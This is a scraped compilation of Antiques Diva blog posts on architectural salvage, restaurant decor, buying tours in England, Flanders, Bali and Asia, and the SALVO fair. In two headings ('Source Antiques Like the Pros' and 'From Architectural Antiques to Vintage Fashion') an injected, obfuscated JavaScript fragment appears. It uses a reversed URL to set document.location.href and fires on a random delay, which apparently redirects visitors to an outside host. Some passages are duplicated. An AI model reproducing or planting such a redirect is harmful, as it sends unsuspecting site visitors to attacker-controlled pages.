Architectural Salvage: Architectural Antiques in Restaurant Design

One of the biggest trends in interior design is architectural salvage. Not only do architectural antiques salvaged from the past bring uniqueness, patina and history to your project, but salvaged elements are part of a booming movement fueled by millennials: reuse, reclaim and recycle. Nowhere is sustainable living and the #AntiquesAreGreen philosophy more evident than in architectural salvage. The Antiques Diva® architectural salvage buying tour clients are searching for everything from lighting to bricks to staircases to doors to bathtubs to gravestones (yes, I said gravestones! I love my job! You can’t make this stuff up!) to entire houses and villages! Europe, Asia and the US are ideal hunting grounds for reclaimed décor that delivers personality to a new home or a renovation project. More and more though we’re seeing clients requesting architectural salvage for public spaces – hotels, boutique stores, interior design showrooms, even restaurants, as today’s guest blogger Anne Holler from Demolition Depot shows us! 

Architectural Salvage: Adding Spice to Restaurant Design 

Evan Blum, the owner of Demolition Depot & Irreplaceable Artifacts (photo permission from Elizabeth Solaka) | The Antiques Diva
Evan Blum, the owner of Demolition Depot & Irreplaceable Artifacts (photo permission from Elizabeth Solaka)

Who buys architectural salvage in New York? Actually, an amazing variety of people: interior decorators, DIY-ers, contractors, prop stylists, hoteliers, individualists, and architects. Those of us who work at Demolition Depot & Irreplaceable Artifacts in Manhattan, know that there’s one group of people who walk through the door with real purpose and passion: restaurant designers.

Success in the restaurant world depends on the mood and décor almost as much as the food. In fact, there are some diners who will excuse mediocre food if the setting intrigues them as much as watching a Wes Anderson movie. Savvy restaurant designers know that younger diners are an intensely visual group. Like a Wes Anderson movie, a memorable restaurant has to feed us odd details and visual surprises — often with a vintage tone.   

“Adding architectural ornaments to a restaurant keeps the ambiance interesting,” says Evan Blum who has owned Demolition Depot & Irreplaceable Artifacts for over 48 years. “Old bars, antique lighting, carved marble mantels, even slightly tarnished mirrors, are items that set your interior apart from the designed-for-a-chain look. These wonderful features add personality and authenticity to your space.”

Within the downtown Ludlow Hotel is a bistro-like eatery with the cheeky name of Dirty French. Major Food Group designers chose bold brass antique chandeliers from Demolition Depot’s inventory to add patina and a mellow, relaxed lighting. For the definitive feedback, check on Yelp where diners describe the restaurant’s interior as “sexy”, ”cozy” and “Instagram worthy.”

Ludlow Hotel in-house restaurant, Dirty French: originally our chandeliers (photo permission from Major Food Group)
Ludlow Hotel in-house restaurant, Dirty French: originally our chandeliers (photo permission from Major Food Group)

Further uptown, there’s P.J. Clarke’s Lincoln Center where clientele are often dining before they dash off to the opera, ballet and theater across the street. The décor of this restaurant, a contemporary cousin to the 19th century P.J. Clarke’s on Third Avenue, holds a secret unbeknownst to most of the customers. The antique lighting was rescued and purchased by Demolition Depot from former live performance theaters. One chandelier is from such an establishment in Cincinnati and four lights are repurposed from the former world-famous Erlanger Theater in Philadelphia.     

P.J. Clarke’s Lincoln Center: originally our antique lighting and sconces; (sconces are reproductions that we had made, though) (photo permission from The Clarkes’ Group LLC) | The Antiques Diva
P.J. Clarke’s Lincoln Center: originally our antique lighting and sconces (sconces are reproductions made by Demolition Depot) (photo permission from The Clarkes’ Group LLC) 

Choosing architectural antiques as decor can reinforce the quality of the product or service that is being offered. Jack Mazzola is the founder of Jack’s Stir Brew Coffee Shops, 6 shops in Manhattan, one in The Hamptons and another in Sag Harbor. The young entrepreneur roasts and sells his own organic coffee along with vegan baked goods. His restaurant designer, EunHea Kim, sources architectural elements – hand built church pews and Art Deco mirrors discovered in an Elks Lodge — from Demolition Depot. Antiques like these represent craftsmanship and tradition. EunHea feels strongly that their organic and natural qualities “are integral to the brand.”

Jack Mazzola, founder of Jack’s Stir Brew Coffee | The Anitques Diva
Jack Mazzola, founder of Jack’s Stir Brew Coffee

More personally, Jack grew up around his father’s auto shop business and people who worked with their hands. He adds: “Bringing pieces of old New York into Jack’s Stir Brew Coffee Shops is part of sharing that story.”

Designing a restaurant? Architectural salvage just might be that secret ingredient you’re looking for.    

Demolition Depot Manhattan showroom - 216 East 125th Street (photo permission from Nicholas Stango) | The Anitques Diva
Demolition Depot Manhattan showroom – 216 East 125th Street (photo permission from Nicholas Stango)

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One of a kind architectural antiques make a statement and add authenticity to any design project. Reclaimed pieces mix with any décor to create a look that’s both modern and unique.

 

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Architectural Salvage: Sexy, Modern and Eco-Friendly

Design today values new ways to use old things. Instead of just buying an antique to display, today homeowners want to take interesting pieces and use them in a new and modern way. Antiques are the quintessential eco-friendly way to furnish your home – #AntiquesAreGreen. Reuse, repurpose and revitalize. Antiques Diva® Architectural Salvage tours have helped clients source entire frescoed ceilings, built-in libraries, Italian roof tiles, floor tiles, reclaimed wood floors, and staircases. Whether found on tour or through our Buying Services, our Diva Guides know where to go, who to talk to about restoration, and what a fair price is. I recently spoke to Architectural Salvage & Antique Lumber News about sourcing architectural salvage in Europe and Asia: 

Architectural Salvage & Antique Lumber News  Business Profile: The Antiques Diva & CompanyThe first client who approached me for architectural salvage was Australian in 2009. She wanted antique bricks to pave her driveway. I was perplexed – I’ve never had anyone ask me for building supplies – but I contacted a friend who had a small assortment of fireplaces in the back room of his antique shop and I asked his advice. Three days later I found myself driving my Mercedes SUV to a salvage yard after salvage yard after salvage yard on the back roads of Belgium and France, and a new addiction was born. The south of France and the Cognac region came on my radar and England and Italy or soon thereafter. But that first day – seeking sources for salvage – I learned that 17th 18th and 19th-century Flemish bricks have amazing patina and that one can tell the region by the color. But the salvage yards had more than bricks – they had balustrades and grand stone steps and terraces, Versailles parquet from France and limestone that would make your heart skip. As I would walk through these dissected château laid out like pieces of a puzzle, I realized you can give a new home an old history – and in America, where most of my clients come from, access to an entirely new way of living.

At the Antiques Diva and Co, our mission has always been to make antiques modern, sexy and fun but most of all our goal is to make antiques accessible. Our sources become our clients’ sources. My first big architectural salvage client in Europe was starting a new store specializing in American architectural salvage and she wanted to vary her inventory. Three container loads and about €250,000 later I had been educated in the best way possible… by doing. 

Read more about my adventures in architectural salvage in Architectural Salvage & Antique Lumber News  Business Profile: The Antiques Diva & Company. 
Here are a few tips on how to buy architectural salvage.

 

About Architectural Salvage & Antique Lumber News

About Architectural Salvage & Antique Lumber News
Architectural Salvage & Antique Lumber News was founded in 2004 to provide sources for salvage, project ideas, and news to architects, designers, decorators, homeowners and the architectural salvage and antique lumber industry, and to connect buyers and sellers. It is the only U.S.-based publication focused on this industry in both North America and Europe.

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Ciao for now, 

Toma Clark Haines – The Antiques Diva 

Design today values new ways to use old things. Instead of just buying an antique to display, today homeowners want to take interesting pieces and use them in a new and modern way. Antiques are the quintessential eco-friendly way to furnish your home – #AntiquesAreGreen. Reuse, repurpose and revitalize. Antiques Diva® Architectural Salvage tours have helped clients source entire frescoed ceilings, built-in libraries, Italian roof tiles, floor tiles, reclaimed wood floors, and staircases. Whether found on tour or through our Buying Services, our Diva Guides know where to go, who to talk to about restoration, and what a fair price is. I recently spoke to Architectural Salvage & Antique Lumber News about sourcing architectural salvage in Europe and Asia: 

Architectural Salvage & Antique Lumber News  Business Profile: The Antiques Diva & CompanyThe first client who approached me for architectural salvage was Australian in 2009. She wanted antique bricks to pave her driveway. I was perplexed – I’ve never had anyone ask me for building supplies – but I contacted a friend who had a small assortment of fireplaces in the back room of his antique shop and I asked his advice. Three days later I found myself driving my Mercedes SUV to a salvage yard after salvage yard after salvage yard on the back roads of Belgium and France, and a new addiction was born. The south of France and the Cognac region came on my radar and England and Italy or soon thereafter. But that first day – seeking sources for salvage – I learned that 17th 18th and 19th-century Flemish bricks have amazing patina and that one can tell the region by the color. But the salvage yards had more than bricks – they had balustrades and grand stone steps and terraces, Versailles parquet from France and limestone that would make your heart skip. As I would walk through these dissected château laid out like pieces of a puzzle, I realized you can give a new home an old history – and in America, where most of my clients come from, access to an entirely new way of living.

At the Antiques Diva and Co, our mission has always been to make antiques modern, sexy and fun but most of all our goal is to make antiques accessible. Our sources become our clients’ sources. My first big architectural salvage client in Europe was starting a new store specializing in American architectural salvage and she wanted to vary her inventory. Three container loads and about €250,000 later I had been educated in the best way possible… by doing. 

Read more about my adventures in architectural salvage in Architectural Salvage & Antique Lumber News  Business Profile: The Antiques Diva & Company. 
Here are a few tips on how to buy architectural salvage.

 

About Architectural Salvage & Antique Lumber News

About Architectural Salvage & Antique Lumber News
Architectural Salvage & Antique Lumber News was founded in 2004 to provide sources for salvage, project ideas, and news to architects, designers, decorators, homeowners and the architectural salvage and antique lumber industry, and to connect buyers and sellers. It is the only U.S.-based publication focused on this industry in both North America and Europe.

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Ideal for antique dealers, interior designers, builders, landscape architects, developers and homeowners, Antiques Diva Architectural Salvage Tours are available in Europe, Asia and the US – #NoPassportRequired.

Ciao for now, 

Toma Clark Haines – The Antiques Diva 

Source Antiques Like the Pros: Where toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Buy Architectural Salvage

Unique and sustainable materials are important trends in interior design. Architectural salvage and reclaimed materials allow the homeowner to curate a unique, personal aesthetic that represents who they are – and isn’t identical to their neighbor’s home. We’ve seen architects use old French doors in new construction, interior designers source vintage sinks in multiple colors to complement a scheme, and clients buy gorgeous chandeliers to hang over their dining tables. The options really are endless. Owners of older homes often look for period pieces for restoration projects while those building new houses want something that adds the warmth and patina that only antiques can provide. Loft dwellers love finding burnished pieces and industrial salvage, perhaps from an old warehouse or factory. Reclaimed and repurposed materials add character and are one-of-a-kind statement pieces. 

Where to Buy Architectural Salvage in Europe and Asia 

Most of our clients purchase architectural salvage and reclamation pieces for a specific project: whether that’s an interior designer sourcing pieces to be used in a client’s home design or a developer who contacts us to find materials to use in constructing homes or hotels.

to buy architectural salvage: reclaimed European floors – architectural salvage”Reclaimed European floors And as always – we have a slew of antique dealer clients who source architectural salvage in Europe and Asia to stock their own stores for resale.

to buy architectural salvage: sourcing architectural and garden antiques in EnglandGarden antiques and salvage The Antiques Diva & Co has helped clients source entire frescoed ceilings, built-in libraries, Italian roof tiles, floor tiles, reclaimed wood floors, and even staircases. Whether found on tour or through our Buying Services, our Antiques Diva Guides know where to go, who to talk to about restoration, what a fair price is, and how to ship your purchases back home. Depending on the look and style you want to buy, the best countries to buy architectural salvage are England, Belgium, France, Italy, Thailand and Indonesia.

to buy architectural salvage: Architectural Salvaged Doors from Indonesia: Indonesia Antique Buying Tours with The Antiques Diva & Co” width=”800″ height=”533″ /> Salvaged doors from IndonesiaOur English Antiques Diva Buying Agent Gail McLeod believes England is ideal to buy architectural salvage reclaimed materials.

Sussex is a key county – we have key architectural suppliers in both West and East Sussex. Somerset, Warwickshire, Herefordshire and The Cotswolds including Oxfordshire are other key locations. London has some excellent sources for both decorative antiques and architectural materials. We have worked on many projects and are aware of the detailed requirements when sourcing architectural and reclaimed material and objects for a specific project rather than for resale in a showroom. 

 

Recent projects we have sourced for include a multi £million theme park – the theme was Victorian gothic and we spent 2 weeks on the road discovering ecclesiastical and architectural salvage and garden antiques. This included ancient fragments, stone roof tiles, Gothic paneling, crown top chimney pots by the 100, original stained glass windows 30 feet high and accurate period furniture for the interior of the various buildings and chapels on the park – all this done to a flat plan with specifications. They needed a large number of aged gravestones from decommissioned churches so I made sure our sources had plenty for them to choose from when we arrived!

European doors - architectural salvage
Salvaged European doors

Another large project was the remodeling of the former LA home of a musical superstar, restoring the house to the original Spanish Colonial style for the new owner – quite a niche sector but we found the most fabulous pieces and he was thrilled. Another couple was building a wonderful estate on the Seattle shoreline and has very specific requirements – they are currently on their 2nd tour with us to finalize the artwork.

 

Marc Allum is one of the BBC Antiques Roadshow experts and is also a historical buildings expert. He lives in an Elizabethan house just outside Bath where they recently found Roman remains when excavating the garden. England is a treasure trove for sourcing architectural salvage and reclaimed materials! 

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Antiquing in Flanders, Belgium

Flanders is the perfect tour for an antique dealer seeking to stock his store. Flanders offers many off the beaten path sources for antique shopping and a slew of trade-only warehouses and private sellers. Our local expert Antiques Diva Guide picks you up at your hotel and takes you antiquing in Flanders to our favorite vendors, exposing you to bargains on Napoleon III pieces as well as special finds from the 18th to 20th centuries. Flanders is one of our go-to destinations for antique dealers on the antiques trail. Booked in conjunction with several days on a South of France or England, this tour is ideal for antique dealers. One of my personal favorite antiquing destinations, Antiques Diva Flanders antique buying tours are sure to please!  

Antiquing in Flanders

Flanders s the Dutch-speaking, northern portion of Belgium – where the local language is called Flemish. (The French-speaking part of Belgium is called Wallonia.) Antwerp, Bruges, Ghent and Tongeren are some of the best-known cities in Flanders. Today’s Flanders has been a part of Spain, France, Holland and Austria, and with its varied past was influenced by the whole of Europe in its furniture design. The region had a reputation for tolerance so refugees fleeing religious persecution settled here, bringing with them their own crafts and customs. For example, 17th C Flemish antiques have a Spanish influence as many of the craftsmen making furniture in Belgium at that time were Spanish refugees.

Flemish furniture was popular in and exported to England, where you still see it in many country homes – oak, heavy and with elaborate carving and the distinctive Flemish S scrolling. Over the centuries so many different people found refuge in Flanders, and today you can find many different styles including Louis XV, Louis XVI, Empire, Napoleon III, Spanish Colonial, Henri II, Willem III, Gustavian, Louis Philippe, Chippendale, Rustique, Baroque, Neo-Baroque, Lodewijk, Queen Anne, Bretonne… and more!

Antiquing in Flanders, Belgium

In Flanders you will find pieces from many periods and designs to meet any need – and our Diva Guides will who the best dealers, wholesalers and private sellers are:

  • architectural salvage
  • furniture
  • mirrors
  • garden pieces and statuary
  • lighting
  • art and objets d’art
  • industrial
  • religious artifacts
  • art deco

If you need to shop for antiques but don’t have time to travel to Europe, Antiques Diva Buying Services will work with you to source, purchase and ship pieces that meet your exact requirements.

Antiquing in Flanders, Belgium

Bruges Zandfeesten is one of the largest flea markets in Belgium, held three times per year: the 1st Sunday in July and August and the last Sunday in September – and its crowded with locals and tourists. Tongeren’s Sunday morning flea market has been booming for over 30 years, with bric-a-brac and curiosities as well as serious antiques. Many antique lovers are familiar with Brussel’s Sablon district with its amazing antique shops and galleries, but there is also a Brussel’s weekend antique market and a daily flea market on the Place de Jeu de Balle in the Marolles district. Your Antiques Diva Guide will create a custom itinerary based on your antique shopping requirements, budget and schedule that takes you to flea markets, small shops and dealers, antiques warehouses and private homes where the owner’s collection are available for sale.

Antiquing in Flanders Belgium

Our Antiques Diva Guides are local experts – they know the dealers personally, have long-standing relationships with them and have sourced antiques at their shops for many years. Shopping with The Antiques Diva gives you insider access to the best antiques at the best prices. You have the shopping power of all our clients behind you – when antiques dealers see The Antiques Diva, they know we mean business! Our guides will translate, negotiate and help you find exactly what you are looking for, at a price you can afford. Then, we will help you ship it home either through our Antiques Diva shipping services partner or with your preferred shipper.

Antiquing in Flanders, Belgium

We’d love to see you in Flanders, where we’ll open our little black book full of restaurants, hotels, fashion, home decor and bien sur, antiques!

Flanders is a full day antiques tour and is available Tuesday – Sunday – and schedules perfectly with a France or Sweden tour!

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Toma – The Antiques Diva 

 

UK Antique Trends

Brexit has had an impact on buying antiques in the UK. In short, England has gone on sale for American buyers! Now is the best time to buy antiques in England. If you’re only going to shop one place, I would say shop in England. England is one-stop shopping – the best of France is already there. For hundreds of years, the Brits have been scouring the world collecting antiques. Our English Antiques Diva® Buying Agent Gail McLeod just might be the most connected woman in the world of antiques. She is owner of Google’s top-ranked antiques fair website Antiques News & Fairs, Editor in Chief of the Antiques are Green website, vice-chair of the new Antiques are Green Trade Association and co-founder of Antiques Young Guns.Today Gail is sharing the top UK antique trends last year and the 1st two months of 2018. You can shop these trends at the 30th annual Bath Decorative Antiques Fair in March, as well as other UK antique fairs, on an Antiques Diva England antiques buying tour. 

Antique Trends in UK 2017

Antiques Diva buying agent Gail McLeodHere in England, we are blessed with a complete melting pot of inventory which has arrived on our shores from the Colonies and there has never been an occasion when I have been stumped by a request from a Diva client! Spanish Colonial period pieces for a Hollywood mansion? Step this way! A collection of gravestones and a church spire for a luxury theme park? No problem!

2017 saw some new trends following a few years of nonstop ghostly Nordic furniture and large-scale reclamation quests, with a thirst for more grown-up pieces including oak and mahogany. At the recent Decorative Antiques & Textiles Fair at Battersea there was a complete stampede on the opening day on a stand selling what we call in England American export goods – writing boxes, tea caddies, oak framed mirrors, library accessories, oak framed botanical and sporting prints, barometers, brass and copper accessories.

The return to what was sold by the container load in the 80s and 90s is seen elsewhere in the decorative trade, French marble top confectioners’ tables, brass and iron bakers racks, faux bamboo armoires and chests of drawers, heavily carved fruitwood armoires, painted English chests of drawers and confit pots all selling like hot cakes.

folk art - Erna Hiscock & John Shepherd, Sussex
Erna Hiscock & John Shepherd, Sussex 

Two recent Antiques Diva tours have been almost exclusively oak and mahogany small-scale furniture – joint stools, lamp tables, luggage stands, corner display cupboards, long sets of dining chairs, all available at such buyable prices – for now! When the market demands these piece will start to rise again.

brown furniture - Vagabond Antiques, Sussex
Vagabond Antiques, Sussex 

Downton Abbey and The Crown tv shows have influenced overseas private buyers who want a piece of Merry Old England that looks like it is going to last for years – and it probably will! The shipwrecked look still has its appeal to Millennials but the solid pieces are appealing more to the Baby Boomers although a recent NY based Millennial furnishing a house here in Notting Hill chose almost exclusively William IV mahogany and C19th Chinoiserie pieces for their drawing room. Another client from CO chose an outstanding Italian bureau plat with brass ormolu, very formal and imposing and she had been looking online and in the US for 4 years but found the perfect piece on our first call!

Many of our clients are trade buyers who are servicing the buying requests for both Millennials and Baby Boomers so these private tours give us a bird’s eye view of what is hot – or not. We have very few inquiries in the UK for Mid Century and Industrial pieces but architectural reclamation is a staple here. The British architectural reclamation trade is a vibrant and successful part of the business and we have helped with some interesting projects in 2017 supplying beautiful linenfold paneling from the library of a known estate, wellheads, mill wheels, stone roof tiles, stone flooring, chimney stacks and gargoyles. This trend is a constant rather than fashion led.

architectural salvage - Wharton Antiques, Somerset
Wharton Antiques, Somerset

The Bath Decorative Antiques Fair March 8-11 has many examples of what’s trending in the UK, Muddy Stillettos forecasts what will be available at the fair in Retro rehab: Mid-century Scandi, folk art, architectural reclamation, garden antiques – and the resurgence of our old friend ‘brown’ furniture (photos courtesy Muddy Stillettos).

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Bali Antiques Buying Tour (Video)

With its gorgeous beaches, luxury resorts, rice paddies and ancient temples Indonesia has far more to offer than just a destination as a vacation hot spot. Bali is one of the world’s best resources for global sourcing. Their antiques scene – and the abundance of offerings – is reminiscent of the Paris Flea Market but Indonesia offers more than just antiques. After assessing your antiquing and design or fashion sourcing needs our local expert Antiques Diva® shopping guide will custom plan your Bali antiques buying tour – helping to maximize your time and money by translating and negotiating on your behalf, and finally liaising you with an international shipper.

Join Toma Clark Haines, CEO of The Antiques Diva® & Co, with Derrick Ricketts, VP, Dallas Market Center on a Bali Antiques Buying Tour with local expert Antiques Diva Guide Marilyn: 

 

 

Bali is more than a vacation destination. Bali is one of the world’s best resources for global sourcing. Whether you are looking for rustic or folkart furniture… wood and stone carvings… textiles, batiks and ikats… tribal jewelry… architectural salvage… or actually seeking a source to manufacture your own furniture line… Bali has it all!

Our Bali tour crisscrosses Seminyak and Ubud. Bali has countless antiques warehouses where you can find both Balinese and Javanese furniture and architectural salvage. I simply love the colors and carvings of Indonesia!

We have a lot of places to go! Our job is to bring clients to exactly the right places for what they’re looking for! Marilyn knows all the right places, and gets the best prices.

Bali is famous for its textiles. You can even find newly made furniture in Bali. If you want to design your own furniture we can introduce you to artisans and manufacturers for handmade goods.

Bali is also an excellent place to source contemporary art.

After a full day of shopping, we take time to monkey around in Ubud Monkey Forest!

My favorite hotel in Bali is Bambu Indah, John Hardy’s famous eco-lifestyle boutique hotel. Hardy salvaged 11 antique Javanese bridal homes and reconstructed them in Bali. A reknown antiques collector, Hardy’s philosophy is Antiques Are Green. We explore with our client the use of architectural salvage in luxury and eco-design.

On Antiques Diva Tours we always take time to eat! And here eating is a culinary and visual feast.

After lunch we hit the road again. Bali boasts a district of antique shops that can only be compared to the Paris Flea Market! Mile after mile of treasures unfold.

The secret of our tours is we know where to go. We take a peek at one of Donna Karan’s secret sources.
To close the day we are invited for cocktails at the home of local antiques dealer Michael Nalder of LeMari.

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From Architectural Antiques toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Vintage Fashion at SALVO Fair

Sara Morel, Reclaimed Woman
Sara Morel, Reclaimed Woman

Today’s post is by Sara Morel, who recently left her corporate fashion job to establish Reclaimed Woman. A blog and business, for those in search of a more conscious life. Fashion and home fashions that are equally style-savvy as they are ethical. Like a secret diary, she previously blogged under the name Style Salvo, recording her journey into antiques, salvage and a more sustainable existence (shoe collection excluded), as head of PR for a shoe brand at the time! She vowed to do-up her new home in London with as many old, reused and reclaimed things as possible. One bedroom, one bathroom, one garden, one kitchen… now her walk-in wardrobe.  

One foot in the fashion, one foot in salvage, up to her knees in architectural antiques, but refusing to part with her knee-high leather boots, whilst dancing in mud with reclaimed radiators from the roaring 20s. Sara knows both worlds well. Two industries that can feel intimidating at first, she is here to break down the facade and share shopping tips for Salvo Fair in Henley this June…   

SALVO Fair: Life is not a Rehearsal – Green Living Fest 

Amidst the unforgettable backdrop of an eccentric English estate, SALVO, the original architectural salvage fair returns to Henley on 23rd-25th June. This year’s Green Living Fest welcomes zero waste chef Douglas McMaster, ancient and modern eco-friendly stands and vintage fashion to join the usual mix of architectural, garden, mid-century and industrial antiques. 
SALVO exhibitor Beya Fontenay printers bench kitchen island
SALVO exhibitor Beya Fontenay printers bench kitchen island 
Salvo Fair is acknowledged as the best in its field, where hundreds of designers buy the look they need from the most unique antique, reclaimed and salvaged stocks, where people with projects buy the inspirational pieces needed to create interiors and exteriors of distinction. Nowhere else will you find exhibitors from the likes of LAPADA with Mid 20th Century lighting and antique chandeliers to the finest stocks of bricks! 
Fawley Hill Salvo setting
Fawley Hill SALVO setting

A boulder engraved with the words of the estate owner, Sir William McAlpine reads ‘Life is not a Rehearsal.’  I love this phrase, and find it can be applied to all sorts of scenarios life throws at one. In light of the bright green antique theme, SALVO 2017 is not only about appreciating antiques for their connection with history, but for their relationship with the future and the environmental benefits of reuse. Shop vintage fashion and hats including unique designs by Dior from Mary Jones Vintage, whose rare finds for gents and ladies are stocked in Liberty of London as well as her shop in Liverpool.

SALVO exhibitor La Place Antiques
SALVO exhibitor La Place Antiques

Whatever your motivation, here are some shopping tips you can apply to architectural antiques and vintage fashion:  

marble angel: Nikki Page Antiques for SALVO
SALVO exhibitor Nikki Page Antiques marble angel
  • Shopping in a meaningful way starts with knowing what your personal style is and what your needs are. Fashions move in cycles, so don’t let current trends dictate your taste. If you buy something you love, it will hold your interest.
  • That’s all very well… but if you’re not yet sure what your style is, antique and vintage fairs are a great place to learn and discover what you like.   
  • Try to buy architectural antiques first, then make design decisions based on what is available – this will make your hunt much easier. The same goes for rare vintage fashion. It makes sense to start with your statement-makers, then you can build the rest of your look around them. 
  • Ask about provenance (the earliest known history about the piece). This not only adds value to the item, but to your dinner party conversation. For example, the extractor pipe on the cooker hood in my kitchen is a Victorian organ pipe reclaimed from a church in East London, the overhead cabinets were converted from a 1940s staff noticeboard reclaimed from London’s St Pancras Station. And you’ll have to come for dinner to hear the rest…   
  • Find designers, builders and tailors that are antique and vintage fashion friendly, as alterations and allowances may be required.   
  • You may be in a field (at Salvo Fair for example) but you are also surrounded by some rare and incredibly valuable period pieces. Dealers are rarely offended if you negotiate reasonably and there are definitely deals to be found at the fair.  
  • If you insist on wearing heels like Toma, take her Salvo Fair field lead and opt for a wedge.  
  • Any finally, it’s easy to get intimidated; whether you’re overwhelmed by the sheer size of an architectural antique or the price of a collectible vintage handbag, I recommend starting with an experienced Antiques Diva guide tailored to you and your budget.   
SALVO exhibitor Vagabond Antiques & Decor Urn
SALVO exhibitor Vagabond Antiques & Decor 
SALVO exhibitor Home Bothy - Blacksmiths sign
SALVO exhibitor The Home Bothy blacksmiths sign

The Details: 

Where: SALVO Fair, Icehouse Lane, Henley on Thames, RG9 3AP
When: Saturday 24 & Sunday 25 June 2017
Open: 10am – 5pm
Friday 23 June 2017: Trade Day & Smart Works Charity Gala Preview and evening shopping
For More Info: salvofair.com
Tip: Pre-order a 2-course lunch for £30 (including admission for the weekend) at Silo’s pop-up restaurant furnished by Metroretro. 
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It’s Official: The Antiques Diva & Co Launches Asia Antiques Buying Tours in 6 Countries

Asia Antiques Buying & Sourcing in 6 countries:
Thailand, Myanmar, Laos, Vietnam, Cambodia and Indonesia 

Antiques Diva Asia Buying Tours Thailand: Chiang Mai
Dragon carving in Chiang Mai, Thailand

At The Antiques Diva & Co, I always say our role is to be antiques matchmakers: and I’ve extended our matchmaking service to Asia! We take buyers and sellers and matchmake them so it’s love at first sight! As the largest company in Europe offering one-on-one customized antique buying tours in 8 countries, launching in Asia was the logical next step.

Our goal is to provide you with a turnkey solution for global sourcing. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our Asia antique buying guides are prepared to share their vast knowledge of secret sources to take you to all the right places. Whether that means in the jungles of Burma, the busy streets of Bangkok, the back roads of Bali or beyond. I’m completely crushing on Hanoi, gobsmacked by the design inspiration there… and Chaing Mai? It’s hands-down the best wholesale antiquing in South East Asia. Laos is lovely for textiles and Phnom Penh feels like a new frontier…  And you can do it all with The Antiques Diva & Co.

Nat and Angel Statues Yangon Myanmar (Burma) Asia Antiques Buying Tours with The Antiques Diva
Nat and angel statues in Yangon, Myanmar (Burma)

AD&CO is the only global antiques touring company offering one-stop, turnkey antiques shopping services: from personally choreographing your private buying tour to translating, negotiating and shipping antiques.

 

Bobby Berk, Celebrity Designer

 

Modern interior design is all about the global mix.
The Antiques Diva offers a unique global perspective
to integrate Asian and European antiques for a fresh, modern look.

~ Bobby Berk, Celebrity Designer

 

 

AD&CO Asia Antiques Services
Asia Antiques Buying Tours: The Antiques Diva offers private, custom antiques buying tours to 6 countries in Asia under the leadership of our local, expert antique guides. I have found a team of local antiques experts. Our Chief Asia Diva Guide is Angela Somwaiya, a Chicago native who has lived in Bangkok more than 2 decades. She runs one of the most respected antiques shops in Thailand, Paul’s Antiques, and has over 20 years expertise sourcing Asian antiques.

Chief Asia Diva Guide Angela Somwaiya and Toma Clark Haines The Antiques Diva offer Asia Antiques Buying & Sourcing Services
Chief Asia Diva Guide Angela Somwaiya and Toma Clark Haines, The Antiques Diva, in Asia

Clients coming on buying tours get the unique advantage of sourcing in some of the same venues where she stocks her store. Angela is also an expert guide to sourcing Asian bespoke furniture makers. And she happens to have a gourmet tongue…  she orders better in restaurants than anyone I know!!!

Brass Hardware Chinese Door Fixtures Hanoi Vietnam Asia Antiques Buying Tours with The Antiques Diva
Brass Hardware Chinese Door Fixtures sourced in Hanoi, Vietnam

Custom Tours for Trade and Public
AD&CO trade tours are custom curated for interior designers, antiques dealers, furniture manufacturers, landscape designers and architects; customized design inspiration tours and shopping tours are also available to the public. Our Antiques Tours Guides will custom plan an Asian antiques buying tour for you whether you’re looking to purchase antique furniture, textiles, decorative accessories, handicrafts and artisanal creations or architectural salvage. We will also help maximize your time and money by translating and negotiating on your behalf, and finally liaising you with an international shipper.

 

Robert Passal, Award Winning Top 20 Interior Designer

The time for Asian antiques is now: they mix so well and lend a fresh, modern note to any decor. My designs are never defined by any one era, style or approach. I draw from my own experiences, travels and global insight.

~  Robert Passal, Award Winning Top 20 Interior Designer

 

 

 

Asia Antique Sourcing Services: When you’re too busy to travel, The Antiques Diva offers antiques sourcing and buying services in Asia. As you know, the best antiques sources simply are not online. You have to go out into the field to find them. Based on your requirements, AD&CO will assemble a lookbook of pieces that meet your specifications and budget. After your approval, we will purchase, complete all paperwork and coordinate your shipment.


Derrick Ricketts, Dallas Market Center

I just returned from a 3 country Antiques Diva Design Inspiration Tour: Thailand, Indonesia and Cambodia. This is the new frontier for sourcing antiques. No one else is doing what The Antiques Diva & Co does; where you can source both Asian and European antiques to create a global chic lifestyle whether for your home, your store or your next interior design project.

~ Derrick Ricketts, Dallas Market Center

 

Handwoven Baskets on Antique Asian Furniture Antiques Diva Asia Buying Tours Thailand: Chiang Mai
Handwoven baskets in Chiang Mai, Thailand

 

I’d love to chat with you about global sourcing and our Asian tours,
and help you design a custom Asia antiques shopping tour!
Email me at toma@antiquesdiva.com.

Sawatdee,

Toma – The Antiques Diva

Introducing Antiques Diva Thailand Antique Tours

Thailand Antique Tours with The Antiques Diva

Wat Po Thai Temple Thailand Antique Tours with The Antiques Diva & Co2016 was a whirlwind year as I immersed myself in Asian culture by moving to Asia for several months to research and finalize our Asia antique sourcing services. My home base was Thailand. Whether you’re spending one night in Bangkok or visiting its better-looking sister to the north Chiang Mai, exotic antiques tempt even the most well-traveled shopper. In the Bright Light Big City of Bangkok you find a wealth of inventory from various time periods the reflecting cultures of Thailand and its surrounding countries. In Chiang Mai you enter the ancient kingdom of Lanna – which traditionally is a crossroads for trade routes through the Golden Triangle into Laos, Burma, China and beyond. Our Thailand Antiques Tours Guides will custom plan an Asian antiques buying tour for you whether you’re looking to purchase antique furniture, textiles, decorative accessories, handicrafts and artisanal creations or architectural salvage. We will also help maximize your time and money by translating and negotiating on your behalf, and liaising you with an international shipper to get your purchases home.

Antiques Diva Asia Buying Tours Thailand: Chiang Mai

The Antiques Diva™ & Co offers custom antiques buying tours for tourists and trade professionals to 14 countries in Europe and Asia. Whether you’re looking to buy one specific piece or fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places. You can now book an Asian antique buying tour with The Antiques Diva to Thailand, Myanmar, Laos, Vietnam, Cambodia and Indonesia – along with our repertoire in 8 European countries.

